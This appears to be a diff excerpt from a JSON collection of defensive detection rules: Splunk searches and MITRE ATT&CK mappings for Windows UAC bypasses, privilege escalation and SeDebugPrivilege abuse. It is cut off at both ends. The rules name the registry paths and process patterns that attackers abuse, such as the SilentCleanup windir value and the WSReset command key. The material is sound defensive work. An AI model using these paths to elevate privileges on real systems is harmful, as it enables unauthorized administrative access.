"name": "SilentCleanup UAC Bypass", - "description": "The following analytic detects suspicious modifications to the registry that may indicate a UAC (User Account Control) bypass attempt via the SilentCleanup task. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on registry changes in the path \"*\\\\Environment\\\\windir\" with executable values. This activity is significant as it can allow an attacker to gain high-privilege execution without user consent, bypassing UAC protections. If confirmed malicious, this could lead to unauthorized administrative access, enabling further system compromise and persistence.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\Environment\\\\windir\" Registry.registry_value_data = \"*.exe*\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `silentcleanup_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious modification of registry $registry_path$ with possible payload path $registry_value_name$ in $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "SLUI RunAs Elevated", - "description": "The following analytic detects the execution of the Microsoft Software Licensing User Interface Tool (`slui.exe`) with elevated privileges using the `-verb runas` function. This activity is identified through logs from Endpoint Detection and Response (EDR) agents, focusing on specific registry keys and command-line parameters. This behavior is significant as it indicates a potential privilege escalation attempt, which could allow an attacker to gain elevated access and execute malicious actions with higher privileges. If confirmed malicious, this could lead to unauthorized system changes, data exfiltration, or further compromise of the affected endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=slui.exe (Processes.process=*-verb* Processes.process=*runas*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `slui_runas_elevated_filter`", - "tags": { - "analytic_story": [ - "DarkSide Ransomware", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A slui process $process_name$ with elevated commandline $process$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "SLUI Spawning a Process", - "description": "The following analytic detects the Microsoft Software Licensing User Interface Tool (`slui.exe`) spawning a child process. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where `slui.exe` is the parent process. This activity is significant because `slui.exe` should not typically spawn child processes, and doing so may indicate a UAC bypass attempt, leading to elevated privileges. If confirmed malicious, an attacker could leverage this to execute code with elevated privileges, potentially compromising the system's security and gaining unauthorized access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=slui.exe by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `slui_spawning_a_process_filter`", - "tags": { - "analytic_story": [ - "DarkSide Ransomware", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A slui process $parent_process_name$ spawning child process $process_name$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "UAC Bypass MMC Load Unsigned Dll", - "description": "The following analytic detects the loading of an unsigned DLL by the MMC.exe application, which is indicative of a potential UAC bypass or privilege escalation attempt. It leverages Sysmon EventCode 7 to identify instances where MMC.exe loads a non-Microsoft, unsigned DLL. This activity is significant because attackers often use this technique to modify CLSID registry entries, causing MMC.exe to load malicious DLLs, thereby bypassing User Account Control (UAC) and gaining elevated privileges. If confirmed malicious, this could allow an attacker to execute arbitrary code with higher privileges, leading to further system compromise and persistence.", - "search": "`sysmon` EventCode=7 ImageLoaded = \"*.dll\" Image = \"*\\\\mmc.exe\" Signed=false Company != \"Microsoft Corporation\" | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded Signed ProcessId OriginalFileName dest EventCode Company | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `uac_bypass_mmc_load_unsigned_dll_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious unsigned $ImageLoaded$ loaded by $Image$ on endpoint $dest$ with EventCode $EventCode$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Privilege Escalation Suspicious Process Elevation", - "description": "The following analytic detects when a process running with low or medium integrity from a user account spawns an elevated process with high or system integrity in suspicious locations. This behavior is identified using process execution data from Windows process monitoring or Sysmon Event ID 1. This activity is significant as it may indicate a threat actor successfully elevating privileges, which is a common tactic in advanced attacks. If confirmed malicious, this could allow the attacker to execute code with higher privileges, potentially leading to full system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"low\",\"medium\",\"high\") NOT Processes.user IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"DWM-*\",\"*$\") by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.parent_process, Processes.parent_process_name Processes.process_name Processes.process, Processes.process_path, Processes.process_guid, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | eval join_guid = process_guid, integrity_level = CASE(match(process_integrity_level,\"low\"),1,match(process_integrity_level,\"medium\"),2,match(process_integrity_level,\"high\"),3,match(process_integrity_level,\"system\"),4,true(),0) | rename user as src_user, parent_process* as orig_parent_process*, process* as parent_process* | join max=0 dest join_guid [| tstats `security_content_summariesonly` count max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_integrity_level IN (\"system\") NOT Processes.user IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"DWM-*\",\"*$\")) OR (Processes.process_integrity_level IN (\"high\",\"system\") AND (Processes.parent_process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\") OR Processes.process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\"))) by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.process_name, Processes.process, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | eval elevated_integrity_level = CASE(match(process_integrity_level,\"low\"),1,match(process_integrity_level,\"medium\"),2,match(process_integrity_level,\"high\"),3,match(process_integrity_level,\"system\"),4,true(),0) | rename parent_process_guid as join_guid ] | where elevated_integrity_level > integrity_level OR user != elevated_user | fields dest, user, src_user, parent_process_name, parent_process, parent_process_path, parent_process_guid, parent_process_integrity_level, parent_process_current_directory, process_name, process, process_path, process_guid, process_integrity_level, process_current_directory, orig_parent_process_name, orig_parent_process, orig_parent_process_guid, firstTime, lastTime, count | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_privilege_escalation_suspicious_process_elevation_filter`", - "tags": { - "analytic_story": [ - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "The user $src_user$ launched a process [$parent_process_name$] which spawned a suspicious elevated integrity process [$process_name$].", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows Privilege Escalation System Process Without System Parent", - "description": "The following analytic detects any system integrity level process spawned by a non-system account. It leverages Sysmon Event ID 1, focusing on process integrity and parent user data. This behavior is significant as it often indicates successful privilege escalation to SYSTEM from a user-controlled process or service. If confirmed malicious, this activity could allow an attacker to gain full control over the system, execute arbitrary code, and potentially compromise the entire environment.", - "search": "`sysmon` EventCode=1 IntegrityLevel=\"system\" ParentUser=* NOT ParentUser IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"*DWM-*\",\"*$\",\"-\") | eval src_user = replace(ParentUser,\"^[^\\\\\\]+\\\\\\\\\",\"\") | stats count min(_time) as firstTime max(_time) as lastTime values(process_name) as process_name values(process) as process, values(process_path) as process_path, values(process_current_directory) as process_current_directory values(parent_process) as parent_process by dest, user, src_user, parent_process_name, parent_process_guid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_privilege_escalation_system_process_without_system_parent_filter`", - "tags": { - "analytic_story": [ - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "The process [$process_name$] on $dest$ was launched with system level integrity by $src_user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows Privilege Escalation User Process Spawn System Process", - "description": "The following analytic detects when a process with low, medium, or high integrity spawns a system integrity process from a user-controlled location. This behavior is indicative of privilege escalation attempts where attackers elevate their privileges to SYSTEM level from a user-controlled process or service. The detection leverages Sysmon data, specifically Event ID 15, to identify such transitions. Monitoring this activity is crucial as it can signify an attacker gaining SYSTEM-level access, potentially leading to full control over the affected system, unauthorized access to sensitive data, and further malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"low\",\"medium\",\"high\") NOT Processes.user IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"DWM-*\",\"*$\") AND Processes.process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\") by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.parent_process, Processes.parent_process_name Processes.process_name Processes.process, Processes.process_path, Processes.process_guid, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | eval join_guid = process_guid | join max=0 dest join_guid [| tstats `security_content_summariesonly` count max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"system\") AND Processes.parent_process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\") by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.process_name, Processes.process, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | rename parent_process_guid as join_guid, process* as system_process*, user as system_user ] | fields dest, user, parent_process, parent_process_name, parent_process_guid, process, process_name, process_guid, process_integrity_level,process_path, process_current_directory, system_process_name, system_process, system_process_path, system_process_integrity_level, system_process_current_directory, system_user, firstTime, lastTime, count | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_privilege_escalation_user_process_spawn_system_process_filter`", - "tags": { - "analytic_story": [ - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "The user $user$ launched a process [$process_name$] which spawned a system level integrity process [$system_process$].", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows UAC Bypass Suspicious Child Process", - "description": "The following analytic detects when an executable known for User Account Control (UAC) bypass exploitation spawns a child process in a user-controlled location or a command shell executable (e.g., cmd.exe, powershell.exe). This detection leverages Sysmon Event ID 1 data, focusing on high or system integrity level processes with specific parent-child process relationships. This activity is significant as it may indicate an attacker has successfully used a UAC bypass exploit to escalate privileges. If confirmed malicious, this could allow the attacker to execute arbitrary commands with elevated privileges, potentially compromising the entire system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"high\",\"system\") AND Processes.parent_process_name IN (`uacbypass_process_name`) AND (Processes.process_name IN (\"cmd.exe\",\"powershell.exe\",\"pwsh.exe\",\"wscript\",\"cscript.exe\",\"bash.exe\",\"werfault.exe\") OR Processes.process IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\ProgramData\\\\*\",\"*\\\\Temp\\\\*\")) by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.parent_process, Processes.parent_process_name Processes.process_name Processes.process, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | where parent_process_name != process_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_uac_bypass_suspicious_child_process_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User Name", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A UAC bypass parent process- $parent_process_name$ on host- $dest$ launched a suspicious child process - $process_name$.", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - } - ] - } - }, - { - "name": "Windows UAC Bypass Suspicious Escalation Behavior", - "description": "The following analytic detects when a process spawns an executable known for User Account Control (UAC) bypass exploitation and subsequently monitors for any child processes with a higher integrity level than the original process. This detection leverages Sysmon Event ID 1 data, focusing on process integrity levels and known UAC bypass executables. This activity is significant as it may indicate an attacker has successfully used a UAC bypass exploit to escalate privileges. If confirmed malicious, the attacker could gain elevated privileges, potentially leading to further system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"low\",\"medium\") by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.process_guid, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | eval original_integrity_level = CASE(match(process_integrity_level,\"low\"),1,match(process_integrity_level,\"medium\"),2,match(process_integrity_level,\"high\"),3,match(process_integrity_level,\"system\"),4,true(),0) | rename process_guid as join_guid_1, process* as parent_process* | join max=0 dest join_guid_1 [| tstats `security_content_summariesonly` count min(_time) as firstTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"high\",\"system\") AND Processes.process_name IN (`uacbypass_process_name`) by Processes.dest, Processes.parent_process_guid, Processes.process_name, Processes.process_guid | `drop_dm_object_name(Processes)` | rename parent_process_guid as join_guid_1, process_guid as join_guid_2, process_name as uac_process_name ] | join max=0 dest join_guid_2 [| tstats `security_content_summariesonly` count min(_time) as firstTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (`uacbypass_process_name`) AND Processes.process_integrity_level IN (\"high\",\"system\") by Processes.dest, Processes.parent_process_guid, Processes.process_name, Processes.process, Processes.process_guid, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | rename parent_process_guid as join_guid_2 | eval elevated_integrity_level = CASE(match(process_integrity_level,\"low\"),1,match(process_integrity_level,\"medium\"),2,match(process_integrity_level,\"high\"),3,match(process_integrity_level,\"system\"),4,true(),0)] | where elevated_integrity_level > original_integrity_level | table dest user parent_process parent_process_name parent_process_integrity_level process_integrity_level process process_name uac_process_name count firstTime lastTime | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_uac_bypass_suspicious_escalation_behavior_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User Name", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A UAC bypass behavior was detected by parent process name- $parent_process_name$ on host $dest$ by $user$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - } - ] - } - }, - { - "name": "WSReset UAC Bypass", - "description": "The following analytic detects a suspicious modification of the registry aimed at bypassing User Account Control (UAC) by leveraging WSReset.exe. It identifies the creation or modification of specific registry values under the path \"*\\\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\\\Shell\\\\open\\\\command*\". This detection uses data from Endpoint Detection and Response (EDR) agents, focusing on process and registry events. This activity is significant because UAC bypass techniques can allow attackers to execute high-privilege actions without user consent. If confirmed malicious, this could lead to unauthorized code execution and potential system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE Registry.registry_path= \"*\\\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\\\Shell\\\\open\\\\command*\" AND (Registry.registry_value_name = \"(Default)\" OR Registry.registry_value_name = \"DelegateExecute\") by _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wsreset_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious modification of registry $registry_path$ with possible payload path $registry_value_name$ in $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -374235,47 +263453,7 @@ "data_component": "command execution", "type": "activity", "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "user", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1134.002", - "x_mitre_is_subtechnique": true, - "technique": "Create Process with Token", - "tactic": [ - "defense-evasion", - "privilege-escalation" - ], - "platform": [ - "Windows" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "process", + "source_data_element": "user", "relationship": "executed", "target_data_element": "command", "references": [ @@ -374284,67 +263462,44 @@ ] }, { - "name": "Windows Access Token Manipulation SeDebugPrivilege", - "description": "The following analytic detects a process enabling the \"SeDebugPrivilege\" privilege token. It leverages Windows Security Event Logs with EventCode 4703, filtering out common legitimate processes. This activity is significant because SeDebugPrivilege allows a process to inspect and modify the memory of other processes, potentially leading to credential dumping or code injection. If confirmed malicious, an attacker could gain extensive control over system processes, enabling them to escalate privileges, persist in the environment, or access sensitive information.", - "search": "`wineventlog_security` EventCode=4703 EnabledPrivilegeList = \"*SeDebugPrivilege*\" AND NOT(ProcessName IN (\"*\\\\Program File*\", \"*\\\\System32\\\\lsass.exe*\", \"*\\\\SysWOW64\\\\lsass.exe*\", \"*\\\\SysWOW64\\\\svchost.exe*\", \"*\\\\System32\\\\svchost.exe*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Computer ProcessName 